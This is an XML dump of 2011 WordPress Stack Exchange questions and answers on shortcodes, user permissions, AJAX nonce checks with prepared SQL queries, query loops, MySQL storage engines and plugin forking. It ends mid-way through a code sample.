  <row Id="15366" PostTypeId="1" AcceptedAnswerId="15378" CreationDate="2011-04-21T23:06:17.350" Score="0" ViewCount="144" Body="&lt;p&gt;I have an Expand/ Collapse plugin which, via a shortcode, can expand/ collapse content.&#xA;My expandable content is a shortcode of a gallery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See here: &lt;a href=&quot;http://shop.dearearth.net/collections&quot; rel=&quot;nofollow&quot;&gt;http://shop.dearearth.net/collections&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;INTERMITTENTLY, the gallery shows up in at least the first to be expanded section, but never in the second...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*&lt;em&gt;these are the plugins:&lt;/em&gt;*dagondesign.com/articles/expanding-text-plugin-for-wordpress and wordpress.org/extend/plugins/galleria-galleria&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on this would really be appreciated, of course! :)&lt;/p&gt;&#xA;" OwnerUserId="4822" LastEditorUserId="4822" LastEditorDisplayName="" LastEditDate="2011-04-22T01:45:58.553" LastActivityDate="2011-04-22T04:59:37.730" Title="Nested Gallery Shortcode INTERMITTENTLY working" Tags="&lt;jquery&gt;&lt;javascript&gt;&lt;shortcode&gt;&lt;gallery&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="15368" PostTypeId="2" ParentId="15351" CreationDate="2011-04-21T23:42:06.973" Score="1" ViewCount="" Body="&lt;p&gt;There's a filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse15368_update_menu_item_type( $args )&#xA;{&#xA;    return $args['menu-item-type'] = 'page';&#xA;}&#xA;add_action( 'wp_update_nav_menu_item', 'wpse15368_update_menu_item_type' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-21T23:42:06.973" />
  <row Id="15369" PostTypeId="1" CreationDate="2011-04-21T23:44:30.657" Score="1" ViewCount="146" Body="&lt;p&gt;I'm currently wanting to have it so that writers on my site have to have an admin approve their content before it's published, but still be allowed to do other tasks such as uploading images, adding tags, etc, and the wordpress static permission levels are either too restrictive, or let writers publish themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know on drupal there is an easy way to edit permissions for account types, but I was wondering if there is a way to do the same level of functionality with wordpress at all.&lt;/p&gt;&#xA;" OwnerUserId="3051" LastActivityDate="2011-08-20T03:32:29.593" Title="Create custom permissions for user type" Tags="&lt;permissions&gt;" AnswerCount="2" />
  <row Id="15370" PostTypeId="2" ParentId="15369" CreationDate="2011-04-21T23:54:31.833" Score="0" ViewCount="" Body="&lt;p&gt;Check out &lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;Members&lt;/a&gt; or &lt;a href=&quot;http://wordpress.org/extend/plugins/role-scoper/&quot; rel=&quot;nofollow&quot;&gt;Role Scoper&lt;/a&gt; plugins.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-21T23:54:31.833" />
  <row Id="15371" PostTypeId="2" ParentId="15361" CreationDate="2011-04-22T00:09:00.590" Score="0" ViewCount="" Body="&lt;p&gt;presumably one is logged in when making this request? you can hash some data and create a unique per-user nonce on your page, pass it with your ajax request, and check it against the logged in user. or maybe I'm misunderstanding what you're doing here.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-22T00:09:00.590" CommentCount="1" />
  <row Id="15372" PostTypeId="2" ParentId="15361" CreationDate="2011-04-22T00:49:30.250" Score="4" ViewCount="" Body="&lt;p&gt;There are a few things you can do to make more secure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First the Ajax call it self should be made with a WordPress nonce like you said:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; &amp;gt;&#xA;    jQuery(document).ready(function($) {&#xA;        var data = {&#xA;            action: 'ACTION_NAME',&#xA;            Whatever_data: 1234,&#xA;            _ajax_nonce: &amp;lt;?php echo wp_create_nonce( 'my_ajax_nonce' ); ?&amp;gt;&#xA;        };&#xA;        $.post(ajaxurl, data, function(response) {&#xA;            alert('Got this from the server: ' + response);&#xA;        });&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the above code mind the two attributes &lt;code&gt;action&lt;/code&gt; and &lt;code&gt;_ajax_nonce&lt;/code&gt; which both are needed to verify the call to admin-ajax.php, in the first few lines of code it check if an action was sent to the server and if not then it &lt;code&gt;die()&lt;/code&gt;'s (&lt;strong&gt;FIRST CHECK&lt;/strong&gt;) then using that action you with an action hook you call your own ajax function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//if you want only logged in users to access this function use this hook&#xA;add_action('wp_ajax_ACTION_NAME', 'my_AJAX_processing_function');&#xA;&#xA;//if you want none logged in users to access this function use this hook&#xA;add_action('wp_ajax_nopriv_ACTION_NAME', 'my_AJAX_processing_function');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if you want both logged in users and none logged in visitors to access this function the use both hooks (SECOND CHECK).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then in you ajax function the first thing you should do is check for the ajax referrer (THIRD CHECK):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_AJAX_processing_function(){&#xA;   check_ajax_referer('my_ajax_nonce');&#xA;   //do stuff here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;next when running queries on database with user input you should use &lt;code&gt;$wpdb-&amp;gt;prepare&lt;/code&gt; for escaping and validation so instead of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = &quot;SELECT `id` FROM table WHERE `user_id` = $myid;&quot;;&#xA;$data = $wpdb-&amp;gt;get_col( $query )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = $wpdb-&amp;gt;query( $wpdb-&amp;gt;prepare(&quot;SELECT `id` FROM table WHERE `user_id` = %d&quot;,$myid));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-23T02:30:02.707" LastActivityDate="2011-08-23T02:30:02.707" CommentCount="4" />
  <row Id="15373" PostTypeId="2" ParentId="15369" CreationDate="2011-04-22T01:04:16.423" Score="0" ViewCount="" Body="&lt;p&gt;heres a brilliant resource for the info you required. &lt;a href=&quot;http://www.garyc40.com/2010/04/ultimate-guide-to-roles-and-capabilities/#add-capability&quot; rel=&quot;nofollow&quot;&gt;wp roles and capabilities&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-04-22T01:04:16.423" />
  <row Id="15374" PostTypeId="1" AcceptedAnswerId="15375" CreationDate="2011-04-22T01:36:15.270" Score="0" ViewCount="142" Body="&lt;p&gt;I'm trying to create two queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the first query, I will, for example, display 6 posts, in a given order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the second query, I want to display the &lt;em&gt;same&lt;/em&gt; 6 posts, but &quot;offset&quot; the first 3 and then have those same 3 appear at the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, Query #1 would return:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1&#xA;2&#xA;3&#xA;4&#xA;5&#xA;6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, Query #2 would return:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4&#xA;5&#xA;6&#xA;1&#xA;2&#xA;3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how I might pull this off??&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2011-07-06T13:33:36.117" Title="WP_Query - Adding &quot;offset&quot; posts to the end of the loop" Tags="&lt;wp-query&gt;&lt;custom-loop&gt;&lt;offsets&gt;" AnswerCount="1" />
  <row Id="15375" PostTypeId="2" ParentId="15374" CreationDate="2011-04-22T01:47:05.887" Score="2" ViewCount="" Body="&lt;p&gt;No need to have two queries, you can just reuse the same post data by resetting the current post position and running the loop again: &lt;code&gt;$wp_query-&amp;gt;current_post = 2;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you'd have to do this twice to achieve what you're asking, and stop it the second time at the third post.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-22T01:47:05.887" CommentCount="2" />
  <row Id="15376" PostTypeId="1" CreationDate="2011-04-22T02:18:33.613" Score="1" ViewCount="347" Body="&lt;p&gt;I'd love to be able to hide meta boxes using screen options, instead of removing them or restricting them to user roles, the goal is to just &quot;uncheck&quot; the meta box for the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see how this would be tricky since any code that would make a DB change for a user wouldn't be allowed to run every time they hit the page because it would just reset. But smarter people than I code the core, so maybe there's a way. And if there is, I'm dying to know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3293" LastActivityDate="2011-08-24T15:22:37.213" Title="How to set default screen options?" Tags="&lt;metabox&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" />
  <row Id="15377" PostTypeId="2" ParentId="10299" CreationDate="2011-04-22T02:19:59.787" Score="1" ViewCount="" Body="&lt;p&gt;I would indeed switch to InnoDB. Table locking/row locking has long been discussed by many. I would always choose InnoDB hands down. However, &lt;a href=&quot;http://dba.stackexchange.com/questions/1/what-are-the-main-differences-between-innodb-and-myisam/2194#2194&quot;&gt;there is another profound reason for choosing InnoDB...CACHING&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While most people boast that MyISAM is faster for reads, most people forget that the many cache for MyISAM, which is called the key cache (set by key_buffer_size), only caches index pages from .MYI files. It never caches data pages. It has an official maximum of 4GB in 32-bit Systems. 8GB is best maximum for 64-bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The InnoDB Buffer Pool caches the data and index pages. Depending on the server your have, you can cache up to the entire dataset in RAM. You can tune InnoDB for up to 80% RAM and 10% for DB Conenctions, and leave 10% for the OS. &lt;a href=&quot;http://dba.stackexchange.com/questions/1975/is-tuning-the-innodb-buffer-pool-size-important-on-solaris-zfs/1980#1980&quot;&gt;This is true even for different operating systems&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://drupal.stackexchange.com/questions/1715/what-would-the-optimal-mysql-configuration-for-a-drupal-7-site-be/2367#2367&quot;&gt;I have recommended these things for Drupal customers&lt;/a&gt; with marvelous success. &lt;a href=&quot;http://wordpress.stackexchange.com/questions/199/steps-to-optimize-wordpress-in-regard-to-server-load/550#550&quot;&gt;It applies to Wordpress&lt;/a&gt; just as well. I have provided DB support for clients with WordPress. Same improvements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can always &lt;a href=&quot;http://serverfault.com/questions/205644/how-to-use-most-of-memory-available-on-mysql/234875#234875&quot;&gt;configure memory for InnoDB&lt;/a&gt; more effectively that you can more MyISAM. There is always a way to &lt;a href=&quot;http://stackoverflow.com/questions/5174396/innodb-performance-tweaks/5348378#5348378&quot;&gt;tweek InnoDB to suit your performance needs&lt;/a&gt;. As your data grows, it will eventually &lt;a href=&quot;http://stackoverflow.com/questions/5248420/at-what-point-does-mysql-innodb-fine-tuning-become-a-requirement/5250306#5250306&quot;&gt;become a requirement&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="4699" LastEditorUserId="4699" LastEditorDisplayName="" LastEditDate="2011-04-22T02:59:36.840" LastActivityDate="2011-04-22T02:59:36.840" />
  <row Id="15378" PostTypeId="2" ParentId="15366" CreationDate="2011-04-22T03:50:25.093" Score="2" ViewCount="" Body="&lt;p&gt;Even after listening to the podcast this morning &lt;strong&gt;&lt;a href=&quot;http://soundcloud.com/stack-exchange/stack-exchange-podcast-episode-88&quot; rel=&quot;nofollow&quot;&gt;where Joel and Jeff talk about how &quot;Fix my Code&quot; questions&lt;/a&gt;&lt;/strong&gt; are too localized to &lt;strong&gt;&lt;a href=&quot;http://meta.stackoverflow.com/questions/41262/whats-wrong-with-this-code-kind-of-questions-are-they-really-useful&quot;&gt;benefit the community&lt;/a&gt;&lt;/strong&gt; and serve no purpose to anyone but the op,  I'm going to try and answer this in a way that will be useful and beneficial to other weary WordPressors who &lt;strong&gt;&lt;em&gt;scour the interwebs&lt;/em&gt;&lt;/strong&gt; in search of a &lt;strong&gt;&lt;em&gt;quick fix&lt;/em&gt;&lt;/strong&gt; for their plugin and theme woes and leave this as a useful artifact that will hopefully be found one day and still be relevant.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;WordPress Troubleshooting 101&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;When troubleshooting any error or broken functionality the first thing is to try and determine what caused it to break or stop working.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Did it ever work?  &lt;/li&gt;&#xA;&lt;li&gt;If yes, you have to find out what changed that broke it.&lt;/li&gt;&#xA;&lt;li&gt;Did I add a new plugin?  &lt;/li&gt;&#xA;&lt;li&gt;Did I change a setting that caused it to stop working?&lt;/li&gt;&#xA;&lt;li&gt;Were any updates recently released that might of bonked things&lt;/li&gt;&#xA;&lt;li&gt;Am I using the latest version??&#xA;&lt;h1&gt;7. Do I really need 15 or 30 different plugins to make my website work???&lt;/h1&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If it is a jQuery problem like the one mentioned by the op in the above question, you should first check if there are any conflicts or if the javascript is not loading in the right order.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;jQuery plugins require that jQuery is actually loaded before the will work.&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;How do you check for conflicts?&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I like to use the &lt;a href=&quot;http://code.google.com/chrome/devtools/&quot; rel=&quot;nofollow&quot;&gt;WebKit Inspector built into the Chrome Browser Developer Tools&lt;/a&gt;. &lt;/li&gt;&#xA;&lt;li&gt;If your a Firefox guy then you can use the handy reliable &lt;a href=&quot;http://getfirebug.com/&quot; rel=&quot;nofollow&quot;&gt;FireBug extension&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;Safari comes with it's built in &lt;a href=&quot;http://www.webkit.org/blog/41/introducing-the-web-inspector/&quot; rel=&quot;nofollow&quot;&gt;Webkit Inspector&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Don't admit it to anyone but if you use Internet Explorer you can even enable &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/dd565628%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;Microsofts browser developer tools&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You just right click and choose &quot;Inspect Element&quot; from the menu to get started.  (By the way it's also VERY handy for debugging CSS problems).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/mNQoR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the website linked and mentioned by the op here is what I found inspecting the DOM.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;When the inspector comes up it shows 2 Uncaught Fatal Errors from the galleria-1.2.2.2.min file.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/IAMhi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Copy and past your error message into Google&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/cv3g9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;One of the first results is from the actual Gallaria.js documentation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/phDZ8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;This should be your fix but I always like to dig a little deeper to see if there are any other issues.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The theme and plugins running on the site linked to in the question are &lt;strong&gt;&lt;em&gt;loading jQuery 5 times.&lt;/em&gt;&lt;/strong&gt;  Not the same &lt;strong&gt;&lt;em&gt;jQuery&lt;/em&gt;&lt;/strong&gt; but different versions.  You have 1.2.6, 1.3.1, 1.4.2, the Google CDN version and even some versions where the license and version # were stripped out &lt;strong&gt;&lt;em&gt;(I assume for faster loading...)&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not to mention you are combing all theses regular jQuery plugins with a whole slew of jQuery UI plugins.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Here is the listing of all the scripts that were loaded when my browser visited the linked to site in the question.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/6YHqG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem, is that the browser loads jQuery  then it loads an earlier version that wipes out the version before it.  Then it loads a plugin that starts to work then another version of jQuery loads and wipes out anything that was already loaded.  (Most users will just click the back button and not spend money with slow loading sites)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If any of your jQuery plugins use newer techniques that weren't available in jQuery 1.2.6 they will break, and when jQuery breaks, it prohibits any other jQuery from working after the break.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;So whats my next step?  How do I get it working?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Most of the jQuery is being loaded from your themes library directory (is this a Theme Forest Theme or another commercial theme?  If so get a refund).  Check your functions.php file and header.php (I'm sure none of this is loaded with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;wp_enqueue_script&lt;/a&gt; so be on the lookout for inline &lt;code&gt;&amp;lt;style type...&amp;gt;&lt;/code&gt; tags and also lookout for &lt;code&gt;wp_derigister_script&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remove every reference to jQuery and add this to your functions.php to load the WordPress version.  If your theme uses any other custom scripts register them and enqueue them like so.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action ('get_header', 'myprefix_load_jquery');&#xA;function myprefix_load_jquery() {&#xA;      wp_enqueue_script('jquery');&#xA;      wp_register_script('custom_script',&#xA;       get_bloginfo('template_directory') . '/js/custom_script.js',&#xA;       array('name_of_script_dependencies'),&#xA;       '1.0' );&#xA;      wp_enqueue_script('custom_script');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we need to apply the fix we found searching google so add this to the end of a js file or you can use this function to output it in your footer.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_footer', 'myprefix_fix_galleria');&#xA;function myprefix_fix_galleria() {&#xA;     echo 'jQuery(document).ready(function($) {&#xA;     $(&quot;#gallery&quot;).galleria({&#xA;         width: 800,&#xA;         height: 500&#xA;});&#xA;&#xA;});';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully this answer will be useful to anyone who is searching for a quick answer to fix their problem and learns how to troubleshoot and figure out why things happen they way they do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this fixes your problem please be so kind to come back and mark it as accepted so that when others find your question they will know that the answer given actually worked.&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-22T04:59:37.730" LastActivityDate="2011-04-22T04:59:37.730" CommentCount="2" />
  <row Id="15379" PostTypeId="1" AcceptedAnswerId="15380" CreationDate="2011-04-22T04:12:21.203" Score="5" ViewCount="97" Body="&lt;p&gt;I want to start giving back to the community, but writing a plugin from scratch is currently slightly beyond my skill level and creativity level (meaning, I don't know what kind of problem I can solve with a plugin! every time I think of something, I find a plugin or 6 that have already been written!). However, I have recently identified a very simple plugin that looks to be abandoned since WP 2.8, and I think I can modify it to be 3.1 compatible. I've asked, and it seems that the best way to update this plugin may be to simply fork it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now my question: how do I do that? I'm new to SVN, so I'm totally uncertain as to where to go, how to start, etc etc. Can anyone guide me? :)&lt;/p&gt;&#xA;" OwnerUserId="4824" LastActivityDate="2011-04-22T21:30:05.983" Title="How to fork a plugin?" Tags="&lt;plugin-development&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="15380" PostTypeId="2" ParentId="15379" CreationDate="2011-04-22T05:03:18.663" Score="3" ViewCount="" Body="&lt;p&gt;there are several guides in the Codex that can help,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set up your plugin for submission&lt;/li&gt;&#xA;&lt;li&gt;Submit your plugin &lt;/li&gt;&#xA;&lt;li&gt;Keep it up to date&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I also think it's a great idea to &quot;fix&quot; older useful plugins :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Steps&lt;/strong&gt;:&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/about/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/about/&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Submit&lt;/strong&gt;:&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/add/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/add/&lt;/a&gt;    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to Use Subversion&lt;/strong&gt;:&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/about/svn/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/about/svn/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Promotion and additional info&lt;/strong&gt;:&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Plugin_Submission_and_Promotion&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Plugin_Submission_and_Promotion&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using subversion depends on your OS, for windows I recommend tortoise SVN &lt;a href=&quot;http://tortoisesvn.tigris.org/&quot; rel=&quot;nofollow&quot;&gt;http://tortoisesvn.tigris.org/&lt;/a&gt;&#xA;For Mac check out &quot;Versions&quot;, &lt;a href=&quot;http://versionsapp.com/&quot; rel=&quot;nofollow&quot;&gt;http://versionsapp.com/&lt;/a&gt; or you can use the command line.&#xA;Also a lot of IDE's now have subversion support built right in.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-04-22T05:10:50.013" LastActivityDate="2011-04-22T05:10:50.013" />
  <row Id="15381" PostTypeId="2" ParentId="11641" CreationDate="2011-04-22T06:46:59.307" Score="1" ViewCount="" Body="&lt;p&gt;DISCLAIMER : I'm not a WordPress Guru, only a MySQL DBA&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to user a different query, try this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT COUNT(1) FROM information_schema.tables WHERE table_schema='dbname' AND table_name='tbname';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will either return 0 (if table does not exist) or 1 (if table does exist)&lt;/p&gt;&#xA;" OwnerUserId="4699" LastActivityDate="2011-04-22T06:46:59.307" />
  <row Id="15382" PostTypeId="1" AcceptedAnswerId="15383" CreationDate="2011-04-22T07:10:38.290" Score="1" ViewCount="60" Body="&lt;p&gt;I was thinking of removing/hiding admin-bar from my wordpress (3.1.1) installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I visited following link:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Filter_Reference/show_admin_bar&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Plugin_API/Filter_Reference/show_admin_bar&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was surprised to see only a single line to remove/hide admin-bar&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'show_admin_bar', '__return_false' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is what is &lt;strong&gt;__return_false&lt;/strong&gt; means? why __ and _?&lt;/p&gt;&#xA;" OwnerUserId="4314" LastEditorUserId="2204" LastEditorDisplayName="" LastEditDate="2011-04-22T21:21:57.313" LastActivityDate="2011-04-22T21:21:57.313" Title="what is __return_false in filters" Tags="&lt;filters&gt;&lt;admin-bar&gt;" AnswerCount="1" />
  <row Id="15383" PostTypeId="2" ParentId="15382" CreationDate="2011-04-22T07:31:01.860" Score="3" ViewCount="" Body="&lt;h3&gt;WordPress contains built in functions for quickly returning values.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;They are intended to be used as a quick built in function that returns a common value to a filter hook such as true, false, or an empty array.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;__return_false&lt;/code&gt;  — Returns the Boolean value of false.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;__return_true&lt;/code&gt;  — Returns the Boolean value of true.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;__return_empty_array&lt;/code&gt;  — Returns an empty PHP array. &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;__return_zero&lt;/code&gt;  — Returns the integer 0.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-22T07:31:01.860" CommentCount="1" />
  <row Id="15384" PostTypeId="2" ParentId="9488" CreationDate="2011-04-22T09:29:02.570" Score="0" ViewCount="" Body="&lt;p&gt;there is no way to debug the plugin's files. The only way I found for debug wordpress is to use nusphere phped wich is , unfortunately, not freeware.&#xA;That seems the only one can do that, I don't know why but I spend very long time figuring how to debug with netbeans and eclipse...with no results!&lt;/p&gt;&#xA;" OwnerUserId="898" LastActivityDate="2011-04-22T09:29:02.570" />
  <row Id="15385" PostTypeId="1" AcceptedAnswerId="15388" CreationDate="2011-04-22T10:03:39.560" Score="2" ViewCount="121" Body="&lt;p&gt;fellow coders! I an having a hard time JOIN(ing) tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a a lot of users on my site and many of them have the same last names. I am trying to get their emails by their last name. WP stores emails in the users table and user names in the usermeta and I have been trying to use JOIN to get what I want, but I don't understand how it works and I am about to give up for the day. &#xA;This is what i have after 4.5 hours.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$usersemails = $wpdb-&amp;gt;get_results(&quot;SELECT users.user_email, usermeta.meta_value &#xA;FROM $wpdb-&amp;gt;users&#xA;LEFT JOIN $wpdb-&amp;gt;usermeta ON $wpdb-&amp;gt;users.ID = $wpdb-&amp;gt;usermeta.user_id &#xA;    WHERE user_status = '0' &#xA;    AND meta_value = 'Smith'&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated, so can you please help? Thanks. &lt;/p&gt;&#xA;" OwnerUserId="4777" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-04-23T20:28:55.890" LastActivityDate="2011-04-23T20:28:55.890" Title="LEFT JOIN, INNER OUTER JOIN, LEFT OUTER JOIN is driving me crazy. Please help?" Tags="&lt;users&gt;&lt;wpdb&gt;&lt;usermeta&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="15386" PostTypeId="1" AcceptedAnswerId="15408" CreationDate="2011-04-22T10:06:54.977" Score="0" ViewCount="105" Body="&lt;p&gt;&lt;code&gt;sanitize_title_with_dashes&lt;/code&gt; (see code below for reference) is the function Wordpress uses to format &quot;pretty&quot; urls. However, contrary to the function's comment header, it allows much more than alphanumeric characters, underscore (_) and dash (-). It also allows signs like °, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about really allowing only alphanumeric characters and dashes?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Sanitizes title, replacing whitespace with dashes.&#xA; *&#xA; * Limits the output to alphanumeric characters, underscore (_) and dash (-).&#xA; * Whitespace becomes a dash.&#xA; *&#xA; * @since 1.2.0&#xA; *&#xA; * @param string $title The title to be sanitized.&#xA; * @return string The sanitized title.&#xA; */&#xA;function sanitize_title_with_dashes($title) {&#xA;    $title = strip_tags($title);&#xA;    // Preserve escaped octets.&#xA;    $title = preg_replace('|%([a-fA-F0-9][a-fA-F0-9])|', '---$1---', $title);&#xA;    // Remove percent signs that are not part of an octet.&#xA;    $title = str_replace('%', '', $title);&#xA;    // Restore octets.&#xA;    $title = preg_replace('|---([a-fA-F0-9][a-fA-F0-9])---|', '%$1', $title);&#xA;&#xA;    $title = remove_accents($title);&#xA;    if (seems_utf8($title)) {&#xA;        if (function_exists('mb_strtolower')) {&#xA;            $title = mb_strtolower($title, 'UTF-8');&#xA;        }&#xA;        $title = utf8_uri_encode($title, 200);&#xA;    